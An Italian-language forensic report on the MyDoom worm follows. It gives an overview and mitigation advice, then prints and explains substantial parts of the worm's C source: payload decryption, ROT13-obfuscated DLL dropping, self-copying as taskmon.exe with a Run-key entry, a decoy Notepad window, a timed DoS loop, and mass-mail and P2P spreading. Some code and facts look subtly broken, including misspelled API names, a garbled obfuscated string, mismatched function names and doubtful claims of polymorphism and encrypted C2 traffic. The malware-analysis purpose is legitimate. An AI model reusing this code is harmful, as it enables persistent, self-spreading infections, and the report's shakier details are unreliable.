

## ***Report Malware MyDoom***

### ***Analisi Forense del Malware (Worm) MyDoom***

Nella fase di propagazione del Malware Mydoom utilizza le e-mail contenenti messaggi a primo impatto affidabili, ma in realtà, ingannevoli, per manipolare l'utente a scaricare e aprire allegati infetti. Questi allegati a primo impatto sembravano file legittimi e quindi, trasmettono fiducia all'utente (vittima).

A sua insaputa la vittima, non sa, e non è consapevole che appena clicca sul file, a primo impatto, dal suo punto di vista, legittimo, esegue il codice malevolo e dannoso, che ha lo scopo di compromettere l'intero Sistema del Computer dello User.

Il codice scritto in Linguaggio C è in grado poter far agire MyDoom direttamente sulla rubrica dei contatti, accedendovi, e replicando l'attacco Worm all'interno dei Sistemi dei Computer dei contatti raggiunti.

Il file malevolo invia e-mail infette che contengono MyDoom ai contatti della vittima replicandolo in maniera esponenziale.

Il Worm MyDoom utilizza principalmente tecniche di offuscamento del codice per aggirare i Sistemi di Sicurezza, ed evitare il proprio rilevamento, degli Scan Antivirus.

Questa Tecnica di offuscamento include il polimorfismo e la cifratura di alcune parti del codice, rendendolo difficile da rilevare dai Software Antivirus.

- **Tecnica di offuscamento del codice (Polimorfismo)**

Tecnica di offuscamento del codice che viene utilizzata dal/dai Malware per cambiando in modo repentino il codice, ma lasciando le funzioni di base, così da far eseguire le stesse identiche operazioni e portare a termine lo scopo principale del Malware.

Il Worm MyDoom si evolve ogni volta che viene attaccato un Sistema (macchina vittima), replicandosi e cambiando il codice, come scritto in precedenza.

Il Worm MyDoom ha la possibilità di alterare le variabili del codice, cambiare la struttura del codice e cicli e/o anche variare l'ordine delle istruzioni di codice.

La tecnica di offuscamento del Polimorfismo rende difficile, l'identificazione del Worm Mydoom, da parte dei Sistemi di Sicurezza, Firewall, Software Antivirus.

- **Protezione sezione di codice (Cifratura)**

La Tecnica di Cifratura che adotta ed utilizza il Worm Mydoom, fa riferimento alla protezione di alcune sezioni del codice, funzioni critiche, o sezioni di codice comunicanti con il/i Server di Comando e Controllo C2.

Il Malware (Worm) cifra i propri Payload, le istruzioni per far sì di non essere decifrate in chiaro nella memoria del Sistema e/o nel Traffico di Rete.

Questa cifratura viene spesso decifrata solo al momento dell'esecuzione, rendendo Mydoom particolarmente complesso da rilevare per gli strumenti di sicurezza tradizionali, poiché il codice critico è nascosto fino al momento dell'uso.

Il file malevolo Mydoom aggirando (bypassando) i Firewall della macchine/e installa una Backdoor sulla porta TCP 3127, così da poter accedere da remoto al Sistema del Computer. La Backdoor installata da MyDoom sul Computer della vittima o delle vittime, è programmata per aggirare ed ingannare i Sistemi di rilevamento delle minacce i controlli, i Firewall, così da rendere il monitoraggio, difficile da identificare, delle trasmissioni e comunicazioni in uscita. Tutto questo permette al file malevolo MyDoom di creare comunicazioni di Comando e Controllo C2 verso i Server, ricevere ed eseguire altri comandi.

---

## **Mitigation e Remediation**

### **Aggiornamento dei Sistemi di Sicurezza**

- Aggiornare i Software Antivirus e Antimalware in modo tale che le tecnologie di rilevamento sul comportamento del Malware MyDoom.
  - Configurare i Firewall così che possano rilevare i comportamenti identificati come sospetti in uscita, su porte Non Standard come la 3127, utilizzata e sfruttata dal Worm Mydoom per installare la Backdoor.
- 

### **Monitoraggio del Traffico di Rete**

- Ispezionare i protocolli SSL/TLS perché il Worm Mydoom può cifrare il traffico verso i Server di Comando e Controllo C2, per monitorare il traffico crittografato e identificare comunicazioni sospette.
  - Implementare i sistemi di rilevamento delle Intrusioni IPS/IDS in grado di che possano rilevare comportamenti anomali o tentativi di comunicazione con indirizzi C2 noti.
- 

### **Formazione dei Dipendenti**

- Formazione del/i dipendente/i e Consapevolezza sulle Minacce poiché i Malware (Worm) come Mydoom utilizzano le tecniche più conosciute di Social Engineering, e come descritto precedentemente, la tecnica di Phishing.
- Erogare corsi di formazione al dipendente o dipendenti sul come agire in modo sicuro, nell'aprire l'e-mail che ricevono, così da evitare rischi al Sistema del proprio dispositivo e nei casi più gravi all'azienda.

- Condurre simulazioni di attacchi Phishing periodicamente così da preparare e formare il dipendente o i dipendenti, all'identificazioni di potenziali e-mail dannose.

#### **Restrizioni su Allegati e E-mail**

- Configurare i filtri di sicurezza per far sì di bloccare le e-mail con allegati potenzialmente dannosi, con estensioni che potrebbero, infettare o compromettere il Sistema, come, .exe o .scr
  - Controllo delle e-mail Inviata e Ricevute implementando le Security Policy e per il monitoraggio degli allegati ed i link che si trovano nelle e-mail sia nella Posta in Arrivo ed in Uscita, e quindi limitare l'esposizione a probabili infezioni che possano compromettere il Sistema.
- 

#### **Backup dei Dati**

- Effettuare dei Backup periodici di tutti i dati così da avere la sicurezza di avere una copia e di eseguire un rapido recupero degli stessi, in caso di attacco
  - Monitorare Chiavi di Registro così da implementare i controlli di Sicurezza che eseguono un monitoraggio delle Chiavi di Registro per l'identificazione di eventuali modifiche sospette, come quelle che il Worm MyDoom utilizza ed installa tramite la Backdoor la persistenza.
- 

### **Conclusioni Finali**

MyDoom è un Malware (Worm) che con la sua capacità di propagazione rapida, utilizza le più avanzate Tecniche di evasione e della persistenza attraverso l'installazione di Backdoor, con l'utilizzo della Tecnica di offuscamento descritta in precedenza, il Polimorfismo, e della Tecnica di Cifratura, che entrambe permettono al Worm MyDoom di aggirare ed ingannare i Sistemi di Sicurezza, come Firewall, Software Antivirus e Software Antimalware.

Il codice di MyDoom permette di instaurare la comunicazione con i Server di Comando e Controllo C2, che permette di avere il controllo completo sulla/e macchina/e infette, e di incrementare l'impatto dell'attacco eseguito o che si sta eseguendo.

L'utilizzo di queste Tecniche ha compromesso Sistemi aziendali a livello globale.

# Introduzione

Per comprendere il comportamento complessivo del malware e analizzarne le singole funzioni, abbiamo pensato di suddividere il codice in blocchi funzionali, ciascuno dei quali si occupa di specifiche operazioni malevole. Il malware analizzato, come molti malware sofisticati, esegue un insieme complesso di azioni che includono la persistenza nel sistema, la propagazione, e l'esecuzione di payload malevoli. Organizzare l'analisi in sezioni tematiche ci permette di esaminare in modo chiaro come ogni funzione contribuisca al funzionamento generale del malware, evidenziando anche le interazioni tra le diverse componenti.

## Analisi del codice principale

### Inclusioni e definizioni

```
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include "lib.h"
#include "massmail.h"
#include "scan.h"
#include "sco.h"

#include "xproxy/xproxy.inc"
```

Il codice, scritto in C, inizia definendo una struttura WIN32\_LEAN\_AND\_MEAN, che serve ad escludere alcune funzionalità non essenziali di Windows di modo da rendere il programma più leggero. Vengono poi incluse alcune librerie fondamentali come 'windows.h' e 'winsock2.h', essenziali per accedere alle funzionalità di Windows e per gestire le comunicazioni di rete, seguite da una serie di librerie personalizzate per eseguire funzionalità aggiuntive come mass mailing, scansione di rete, DoS e gestione del proxy.

### Struttura dei dati

```
struct sync_t {
    int first_run;
    DWORD start_tick;
    char xproxy_path[MAX_PATH];
    int xproxy_state;
    char sync_instpath[MAX_PATH];
    SYSTEMTIME sco_date;
    SYSTEMTIME termdate;
};
```

Viene definita la struttura 'sync\_t' utilizzata per memorizzare informazioni sullo stato dell'applicazione. In particolare, sono incluse:

- first\_run: usata per determinare se il programma è stato avviato per la prima volta;
- start\_tick: il momento in cui il programma è stato avviato (in millisecondi);
- xproxy\_path: il percorso del file xproxy;
- xproxy\_state lo stato dell'installazione del proxy, indicato da tre valori:
  - 0: sconosciuto;
  - 1: installato;
  - 2: caricato.
- sync\_instpath: il percorso dell'installazione del programma.
- sco\_date, termdate: date utilizzate per il controllo del tempo di esecuzione del programma.

## Funzione di decrittazione

```
void decrypt1_to_file(const unsigned char *src, int src_size, HANDLE hDest)
{
    unsigned char k, buf[1024];
    int i, buf_i;
    DWORD dw;
    for (i=0,buf_i=0,k=0xC7; i<src_size; i++) {
        if (buf_i >= sizeof(buf)) {
            WriteFile(hDest, buf, buf_i, &dw, NULL);
            buf_i = 0;
        }
        buf[buf_i++] = src[i] ^ k;
        k = (k + 3 * (i % 133)) & 0xFF;
    }
    if (buf_i) WriteFile(hDest, buf, buf_i, &dw, NULL);
}
```

Il ciclo di decrittazione inizia con l'inizializzazione di alcune variabili:

- k: la variabile k viene impostata con un valore esadecimale di 0xC7 (199 in decimale) e funge da chiave per la decrittazione.
- buf: viene definito un array di 1024 byte che serve per contenere temporaneamente i dati decrittati.
- i: variabile che viene usata per scorrere i dati di origine (detti 'src').
- buf\_i: tiene traccia di quanti byte sono stati inseriti nel buffer 'buf'.

Durante il ciclo di decrittazione, il programma esamina ogni byte dei dati di origine e applica l'operazione di 'XOR' (^) con la chiave 'k'. 'XOR' è un'operazione logica che confronta i bit di due valori, restituendo 1 se i bit sono diversi e 0 se sono uguali. In questo modo, ogni byte dei dati di origine viene trasformato in un nuovo valore, producendo il byte decrittato.

Questo metodo di decrittazione è semplice ma efficace: per ottenere i valori originali, basta applicare di nuovo 'XOR' utilizzando la stessa chiave 'k'. Dopo ogni operazione, il programma memorizza il byte decrittato nel buffer 'buf' e passa al byte successivo. Per evitare che la decrittazione sia troppo prevedibile, la chiave 'k' viene aggiornata continuamente durante il ciclo.

Quando il buffer 'buf' è pieno, i dati vengono scritti in un file di destinazione. Alla fine del ciclo, se sono rimasti dei dati nel buffer, questi vengono anch'essi scritti nel file, assicurando che tutti i dati decrittati siano stati salvati correttamente.

## Gestione del proxy

```
void payload_xproxy(struct sync_t *sync)
{
    char fname[20], fpath[MAX_PATH+20];
    HANDLE hFile;
    int i;
    rot13(fname, "fuvztncv.qyy"); /* "shimgapi.dll" */
    sync->xproxy_state = 0;
    for (i=0; i<2; i++) {
        if (i == 0)
            GetSystemDirectory(fpath, sizeof(fpath));
        else
            GetTempPath(sizeof(fpath), fpath);
        if (fpath[0] == 0) continue;
        if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
        lstrcat(fpath, fname);
        hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
            NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
            if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
                continue;
            sync->xproxy_state = 2;
            lstrcpy(sync->xproxy_path, fpath);
            break;
        }
        decrypt1_to_file(xproxy_data, sizeof(xproxy_data), hFile);
        CloseHandle(hFile);
        sync->xproxy_state = 1;
        lstrcpy(sync->xproxy_path, fpath);
        break;
    }

    if (sync->xproxy_state == 1) {
        LoadLibrary(sync->xproxy_path);
        sync->xproxy_state = 2;
    }
}
```

La funzione 'payload\_xproxy' gestisce il caricamento di un file chiamato 'shimgapi.dll', usando una serie di passaggi per creare e verificare la sua presenza nel sistema.

Il processo inizia con la preparazione del nome del file (fname), che viene decodificato con un metodo chiamato 'ROT13', trasformando la stringa "fuvztncv.qyy" in "shimgapi.dll". Successivamente, la variabile 'xproxy\_state' viene impostata a '0' per indicare che il proxy non è ancora attivo. La funzione tenta di trovare una posizione appropriata per questo file, prima nella directory di sistema e poi nella cartella temporanea. Per ogni tentativo, il percorso di destinazione viene aggiornato e se non termina con '\\' questo viene aggiunto.

Quando il percorso è pronto, la funzione prova a creare e aprire il file 'shimgapi.dll'. La libreria DLL viene salvata nel sistema dal codice e contiene parte del payload dannoso del malware. Una volta decifrata e caricata fornisce funzionalità aggiuntive per compromettere ulteriormente il sistema, come l'implementazione di una backdoor. Se riesce ad aprire il file, viene decriptato con la funzione 'decrypt1\_to\_file' e scritto con i dati necessari. Una volta completata questa operazione, il file viene chiuso e lo stato 'xproxy\_state' è aggiornato a '1', e 'xproxy\_path' salva il percorso finale del file. In caso contrario, se non riesce a creare o trovare il file, prova con un'altra posizione.

Infine, se 'xproxy\_state' è '1', cioè il file è stato creato con successo, viene caricato tramite 'LoadLibrary', permettendogli di attivare il proxy, e 'xproxy\_state' passa a '2', indicando che il caricamento è stato completato.

## Controllo del primo avvio

```
void sync_check_frun(struct sync_t *sync)
{
    HKEY k;
    DWORD disp;
    char i, tmp[128];

    /* "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\Version" */
    rot13(tmp, "Fbsgjner\\Zvpefbfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\PbzQyt32\\Irefvba");

    sync->first_run = 0;
    for (i=0; i<2; i++)
        if (RegOpenKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
            tmp, 0, KEY_READ, &k) == 0) {
            RegCloseKey(k);
            return;
        }

    sync->first_run = 1;
    for (i=0; i<2; i++)
        if (RegCreateKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
            tmp, 0, NULL, 0, KEY_WRITE, NULL, &k, &disp) == 0)
            RegCloseKey(k);
}
```

Questa funzione si occupa di verificare se il programma sta venendo eseguito per la prima volta o se è già stato avviato in passato. Per farlo utilizza una chiave di registro specifica del sistema Windows come segno distintivo: se la chiave esiste significa che il programma è già stato eseguito; mentre in caso contrario tale chiave deve essere creata.

Inizialmente, il programma dichiara delle variabili, tra cui 'k', che servirà come riferimento per la chiave di registro, e 'tmp', un buffer che memorizzerà il percorso della chiave di registro. La stringa 'tmp' viene poi popolata con il percorso della chiave, ma prima di essere usato, il percorso viene codificato con il sistema 'ROT13'. Questo tipo di codifica sostituisce ogni lettera con un'altra a una distanza fissa (13 posti), rendendo il testo leggibile solo dopo una decodifica.

Dopo aver preparato il percorso della chiave, il programma prova a verificare se la chiave di registro esiste già, con un ciclo che esegue un controllo prima nella sezione del registro che è condivisa da tutti gli utenti (HKEY\_LOCAL\_MACHINE) e poi in quella riservata all'utente corrente (HKEY\_CURRENT\_USER). Se una delle due posizioni contiene già questa chiave, la funzione conclude che non si tratta della prima esecuzione e termina immediatamente.

Se invece la chiave non esiste in nessuna delle due posizioni, la funzione conclude che è la prima volta che il programma viene eseguito. A questo punto, imposta la variabile 'sync->first\_run' a '1' per indicare che si tratta della prima esecuzione e, sempre all'interno del ciclo, crea la chiave di registro nelle due posizioni. In questo modo, alle successive esecuzioni, il programma troverà la chiave creata e saprà che non è la prima volta che viene avviato.

## Gestione del mutex

```
int sync_mutex(struct sync_t *sync)
{
    char tmp[64];
    rot13(tmp, "FjroFvcPFzgkF0");          /* "SwebSipcSmtxS0" */
    CreateMutex(NULL, TRUE, tmp);
    return (GetLastError() == ERROR_ALREADY_EXISTS) ? 1 : 0;
}
```

La gestione del mutex serve a garantire che solo una copia del programma possa essere in esecuzione alla volta. Un mutex (mutual exclusion) è un meccanismo di sincronizzazione utilizzato nei programmi informatici per garantire che solamente un thread o processo alla volta possano accedere a una risorsa condivisa, come una variabile, un file o una sezione di codice. Questo è particolarmente importante nei programmi multithreaded, dove più thread possono tentare di eseguire operazioni simultaneamente.

Quando il programma inizia, chiama la funzione 'sync\_mutex', all'interno della quale viene creata una stringa che rappresenta il nome del mutex, offuscato tramite 'ROT13'. Questa non è immediatamente riconoscibile, rendendo più difficile l'analisi del malware.

Dopo aver decifrato il nome del mutex, il programma prova a crearlo: se il mutex esiste già, significa che un'altra istanza del programma è già attiva. In tal caso, il programma restituisce un valore che indica che non può continuare, mentre in caso contrario crea il mutex con successo prima di procedere.

Questa tecnica è fondamentale per il malware, perché consente di mantenere il controllo del sistema senza che altre copie del programma interferiscano tra loro. Inoltre, usare un nome di mutex offuscato aiuta a evitare la rilevazione da parte dei software di sicurezza, che potrebbero identificare istanze duplicate di un programma come sospette.



## Installazione del programma

```
void sync_install(struct sync_t *sync)
{
    char fname[20], fpath[MAX_PATH+20], selfpath[MAX_PATH];
    HANDLE hFile;
    int i;
    rot13(fname, "gnfxzba.rkr");          /* "taskmon.exe" */

    GetModuleFileName(NULL, selfpath, MAX_PATH);
    strcpy(sync->sync_instpath, selfpath);
    for (i=0; i<2; i++) {
        if (i == 0)
            GetSystemDirectory(fpath, sizeof(fpath));
        else
            GetTempPath(sizeof(fpath), fpath);
        if (fpath[0] == 0) continue;
        if (fpath[strlen(fpath)-1] != '\\') strcat(fpath, "\\");
        strcat(fpath, fname);
        SetFileAttributes(fpath, FILE_ATTRIBUTE_ARCHIVE);
        hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
            NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
            if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
                continue;
            strcpy(sync->sync_instpath, fpath);
            break;
        }
        CloseHandle(hFile);
        DeleteFile(fpath);

        if (CopyFile(selfpath, fpath, FALSE) == 0) continue;
        strcpy(sync->sync_instpath, fpath);
        break;
    }
}
```

La funzione 'sync\_install' definisce alcune variabili importanti. Tra queste troviamo 'fname', che è utilizzata per memorizzare il nome del file dell'eseguibile, offuscato tramite 'ROT13', risultando in "taskmon.exe". Successivamente, la funzione utilizza 'GetModuleFileName' per ottenere il percorso dell'eseguibile attualmente in esecuzione, memorizzandolo in una variabile chiamata 'selfpath', la quale rappresenta l'ubicazione originale del file.

La funzione adotta poi un ciclo 'for' per cercare di installare il file in due posizioni specifiche: la cartella di sistema, o 'System Directory', e la cartella temporanea, o 'Temp Path'. Durante il ciclo, la funzione crea il percorso completo per il file, memorizzandolo in una variabile chiamata 'fpath', e utilizza poi la funzione 'CreateFile' per tentare di creare il file stesso in quella posizione.

Se, per qualche motivo, il file non può essere creato, la funzione esegue un controllo per verificare se il file è presente: se il file esiste il codice aggiorna il percorso dell'installazione e termina l'esecuzione; in caso contrario, se il file viene creato correttamente, la funzione procede a copiare l'eseguibile in 'fpath' tramite 'CopyFile'. Se la copia ha successo, il percorso dell'installazione viene quindi memorizzato nella struttura 'sync', assicurando che il malware abbia registrato la propria posizione nel sistema.

È importante notare che se il file è stato creato precedentemente e si sta tentando di sovrascriverlo, il codice si occupa di eliminare il file precedente utilizzando 'DeleteFile'. Questo passaggio è fondamentale perché garantisce che il malware non lasci file non necessari sul disco,

che potrebbero potenzialmente far attirare l'attenzione su di sé. Questa sequenza di operazioni permette al malware di essere installato e avviato senza attirare immediatamente l'attenzione dell'utente o dei software di sicurezza.

## Avvio del programma

```
void sync_startup(struct sync_t *sync)
{
    HKEY k;
    char regpath[128];
    char valname[32];

    /* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
    rot13(regpath, "Fbsgjner\\Zypefbfsg\\Jvaqbjf\\PheeragIrefvba\\Eha");
    rot13(valname, "GnfxZba"); /* "TaskMon" */

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) != 0)
        if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0)
            return;
    RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, strlen(sync->sync_instpath)+1);
    RegCloseKey(k);
}
```

Dopo l'installazione, la funzione 'sync\_startup' si occupa di garantire che il malware venga eseguito automaticamente ogni volta che il sistema si avvia, garantendone la persistenza. Per fare ciò definisce il percorso di registro e il nome con cui il malware verrà identificato nel registro di Windows, dati sono inizialmente codificati tramite la tecnica ROT13 per confonderli. Il percorso del registro corrisponde a una directory tipicamente riservata ai programmi che si avviano con il sistema, mentre il nome "TaskMon" è quello che il malware userà per camuffarsi come se fosse un programma di sistema.

Successivamente, la funzione tenta di aprire la chiave di registro, provando sia nelle impostazioni di sistema globali (HKEY\_LOCAL\_MACHINE) sia in quelle specifiche per l'utente corrente (HKEY\_CURRENT\_USER). Una volta ottenuto l'accesso a una di queste chiavi, scrive il percorso dell'eseguibile del malware nella posizione appena aperta usando la funzione 'RegSetValueEx'. In questo modo, Windows eseguirà automaticamente il malware ogni volta che il sistema viene avviato. Infine, per assicurarsi che non restino risorse aperte inutilmente, la funzione chiude la chiave di registro.

La combinazione delle due funzioni 'sync\_install' e 'sync\_startup' permette al malware di rimanere installato in un punto strategico del sistema e di garantirsi la riattivazione automatica a ogni avvio, aumentando la sua resistenza contro i tentativi di rimozione e rendendo più probabile il successo dell'infezione.

## Controllo di data e ora

```
int sync_gettime(struct sync_t *sync)
{
    FILETIME ft_cur, ft_final;
    GetSystemTimeAsFileTime(&ft_cur);
    SystemTimeToFileTime(&sync->termdate, &ft_final);
    if (ft_cur.dwHighDateTime > ft_final.dwHighDateTime) return 1;
    if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return 0;
    if (ft_cur.dwLowDateTime > ft_final.dwLowDateTime) return 1;
    return 0;
}
```

Viene chiamata la funzione 'sync\_gettime', che serve a controllare se una certa data e ora ('termdate') è stata superata rispetto al momento attuale. Questa funzione svolge un ruolo legato

al controllo della persistenza e del ciclo di vita del malware, verificando se è stata superata una data di termine che può essere interpretata come una sorta di “data di scadenza” oltre la quale il malware smetterà di eseguire le sue azioni malevole: questo è un metodo comunemente utilizzato dai malware per limitare il periodo di attività, rendendo il proprio operato meno evidente o meno analizzabile a lungo termine. In particolare, ‘sync\_checktime’ controlla se la data corrente è superiore a una data preimpostata (termdate). Se la data di scadenza è stata raggiunta, la funzione ritorna un valore che può essere usato per disattivare le operazioni del malware o per modificare il suo comportamento, evitandone l’esecuzione oltre la data limite.

Per fare ciò, si ottiene prima la data e ora correnti con ‘GetSystemTimeAsFileTime’, che memorizza il valore in ‘ft\_cur’. Successivamente, la funzione converte la data termdate, salvata all’interno della struttura ‘sync’, in un formato di ‘FILETIME’ e la memorizza in ‘ft\_final’ – nelle librerie di Windows, la struttura ‘FILETIME’ rappresenta la data e l’ora in cui si verifica un evento o si esegue un’azione.

A questo punto, la funzione confronta i valori temporali, verificando prima di tutto il campo ‘dwHighDateTime’, che contiene la parte più significativa di data e ora: se ‘ft\_cur.dwHighDateTime’ è maggiore di ‘ft\_final.dwHighDateTime’, la funzione restituisce ‘1’, indicando che la data corrente ha superato termdate; in caso contrario restituisce ‘0’ segnalando che non è stata ancora superata.

Se entrambe le parti più significative sono uguali, la funzione passa alla parte meno significativa, ‘dwLowDateTime’. Se anche qui la data corrente supera termdate, restituisce ‘1’; in caso contrario, restituisce ‘0’. Questo doppio confronto permette alla funzione di valutare in modo preciso se la data attuale è successiva, precedente o uguale alla data specificata in termdate.

Il risultato di questo controllo può quindi determinare se il malware continua a funzionare sul sistema infetto o se si “spegne” per nascondersi meglio e ridurre le possibilità di rilevamento nei controlli futuri.

```
void payload_sco(struct sync_t *sync)
{
    FILETIME ft_cur, ft_final;

    /* What's the bug about "75% failures"? */

    GetSystemTimeAsFileTime(&ft_cur);
    SystemTimeToFileTime(&sync->sco_date, &ft_final);
    if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return;
    if (ft_cur.dwLowDateTime < ft_final.dwLowDateTime) return;

    /* here is another bug.
       actually, the idea was to create a new thread and return; */

    for (;;) {
        scodos_main();
        Sleep(1024);
    }
}
```

La funzione ‘void payload\_sco’ si occupa poi attivare un payload malevolo in base a un orario specifico. La sua struttura include la gestione delle due variabili temporali, ‘ft\_cur’ e ‘ft\_final’, che rappresentano rispettivamente l’orario attuale e l’orario di scadenza o attivazione. Come già menzionato, il funzionamento di questa funzione dipende dal confronto tra il tempo corrente e un termine prefissato.

La seconda parte di questo snippet inizia un ciclo 'for' infinito dove viene chiamata continuamente la funzione 'scodos\_main' con una breve pausa tra un'esecuzione e l'altra. Il commento nel codice fa notare che l'intenzione originale era probabilmente quella di eseguire 'scodos\_main' in un nuovo thread, evitando così il blocco della funzione principale. È da notare come l'assenza di un nuovo thread potrebbe causare un errore di blocco, influenzando sul funzionamento complessivo: poiché la funzione non termina mai e non viene eseguita in un thread separato, potrebbe bloccare tutte le altre operazioni della funzione principale, come altre parti del malware che potrebbero voler continuare la propria esecuzione.

## Creazione di un file Notepad

```
DWORD _stdcall sync_visual_th(LPVOID pv)
{
    tmp[0] = 0;
    GetTempPath(MAX_PATH, tmp);
    if (tmp[0] == 0) goto ex;
    if (tmp[lstrlen(tmp)-1] != '\\') lstrcat(tmp, "\\");
    lstrcat(tmp, "Message");

    hFile = CreateFile(tmp, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
        NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) goto ex;
    for (i=0, j=0; i < 4096; i++) {
        if (j >= (sizeof(buf)-4)) {
            WriteFile(hFile, buf, sizeof(buf), &dw, NULL);
            j = 0;
        }
        if ((xrand16() % 76) == 0) {
            buf[j++] = 13;
            buf[j++] = 10;
        } else {
            buf[j++] = (16 + (xrand16() % 239)) & 0xFF;
        }
    }
    if (j) WriteFile(hFile, buf, j, &dw, NULL);
    CloseHandle(hFile);

    wsprintf(cmd, "notepad %s", tmp);
    memset(&si, '\\0', sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    if (CreateProcess(0, cmd, 0, 0, TRUE, 0, 0, 0, &si, &pi) == 0)
        goto ex;
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);

ex: if (tmp[0]) DeleteFile(tmp);
    ExitThread(0);
    return 0;
}
```

La funzione 'sync\_visual\_th' viene utilizzata per creare un file temporaneo contenente dati casuali in Notepad, con il probabile obiettivo di distrarre l'utente con un file casuale e apparentemente incomprensibile. Questo comportamento è tipico di alcuni malware che cercano di sviare l'attenzione dell'utente mentre altre attività dannose vengono eseguite in background.

In particolare, la prima operazione di 'sync\_visual\_th' è ottenere il percorso della directory temporanea del sistema. Il percorso viene salvato nella variabile 'tmp', a cui viene poi aggiunto il nome del file "Message", risultando in un file completo.

A questo punto, la funzione crea o sovrascrive il file "Message" nella directory temporanea con accesso in lettura e scrittura utilizzando la funzione 'CreateFile', riempiendolo poi con dati generati casualmente tramite un ciclo 'for' e la funzione 'xrand16()'. Con una probabilità di 1 su 76, viene aggiunta una nuova linea al testo mediante i caratteri '13' e '10', rispettivamente ritorno a capo e

nuova linea in ASCII, simulando un file di testo con un aspetto più vario e quindi leggermente più realistico.

Dopo aver creato il file con contenuto casuale, con la funzione 'wsprintf' si passa alla creazione di un comando di esecuzione per Notepad, che aprirà il file temporaneo "Message" per poi visualizzarlo attraverso 'CreateProcess'. La funzione attende poi che Notepad venga chiuso dall'utente (WaitForSingleObject), proseguendo solo quando ciò avviene.

## Funzione principale

```
void sync_main(struct sync_t *sync)
{
    DWORD tid;

    sync->start_tick = GetTickCount();
    sync_check_frun(sync);
    if (!sync->first_run)
        if (sync_mutex(sync)) return;
    if (sync->first_run)
        CreateThread(0, 0, sync_visual_th, NULL, 0, &tid);
    payload_xproxy(sync);

    if(sync_checktime(sync)) return;

    sync_install(sync);
    sync_startup(sync);

    payload_sco(sync);

    p2p_spread();

    massmail_init();
    CreateThread(0, 0, massmail_main_th, NULL, 0, &tid);

    scan_init();
    for (;;) {
        scan_main();
        Sleep(1024);
    }
}
```

La funzione 'sync\_main' è la funzione principale del programma in cui vengono coordinate le diverse operazioni precedentemente menzionate, tra cui l'inizializzazione delle componenti principali, il controllo del tempo di esecuzione e l'attivazione di specifiche funzioni payload.

Riassumendo, quando il malware viene eseguito inizia con un controllo per verificare se è la prima volta che il programma viene lanciato. Come già spiegato, se si tratta del primo avvio il programma crea un diversivo visivo aprendo un file tramite Notepad per distrarre l'utente mentre il malware inizia a operare in background. Successivamente, 'sync\_main' si assicura che non ci siano copie multiple in esecuzione del malware usando la funzione 'sync\_mutex'. Se il malware è effettivamente alla sua prima esecuzione, copia sé stesso come 'taskmon.exe' in una directory di sistema e ne registra l'avvio automatico nel registro di sistema, per garantire che si riavvii a ogni accensione del computer.

A questo punto la funzione verifica che la data corrente non superi una scadenza prestabilita. Se il termine di attività è scaduto, il malware si interrompe e non prosegue con le altre azioni; in caso

contrario, si procede all'attivazione del payload principale, che include un attacco di tipo (DoS), una diffusione tramite reti P2P e l'avvio di un modulo di email massivo per propagare il malware.

Come ulteriore misura per espandere la propria portata, il malware lancia anche una scansione di rete continua alla ricerca di altre macchine vulnerabili da infettare, chiamando la funzione 'scan\_init' per configurare i parametri necessari per il processo di scansione per poi entrare in un ciclo 'for' infinito che invoca ripetutamente la funzione 'scan\_main', responsabile della scansione effettiva.

## Funzionalità di rete

```
/* shit, MSVC inlined it to WinMain... I didn't expect. */
static void wsa_init(void)
{
    WSADATA wsadata;    /* useless shit... */
    WSASStartup(MAKEWORD(2,0), &wsadata);
}
```

La funzione 'wsa\_init' ha il compito di inizializzare la libreria Windows Sockets (Winsock), fondamentale per le comunicazioni di rete su Windows. La funzione 'WSASStartup' viene chiamata con la versione di Winsock specificata da MAKEWORD(2,0), che rappresenta la versione 2.0. Questo è un passaggio obbligatorio per i programmi che intendono utilizzare funzionalità di rete, poiché 'WSASStartup' prepara l'ambiente di rete impostando le risorse necessarie e riempiendo la struttura 'WSADATA' con le informazioni di configurazione.

## Avvio dell'applicazione

```
int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
    static const SYSTEMTIME termdate = { 2004,2,0,12, 2,28,57 };
    static const SYSTEMTIME sco_date = { 2004,2,0, 1, 16, 9,18 };
    struct sync_t sync0;

    xrand_init();
    wsa_init();

    memset(&sync0, '\\0', sizeof(sync0));
    sync0.termdate = termdate;
    sync0.sco_date = sco_date;
    sync_main(&sync0);

    ExitProcess(0);
}
```

Al termine del codice troviamo la funzione 'WinMain' che rappresenta il punto di ingresso principale per le applicazioni Windows e svolge un ruolo cruciale nell'avvio e nella gestione dell'esecuzione del programma, e come tale segna l'inizio di esecuzione del malware.

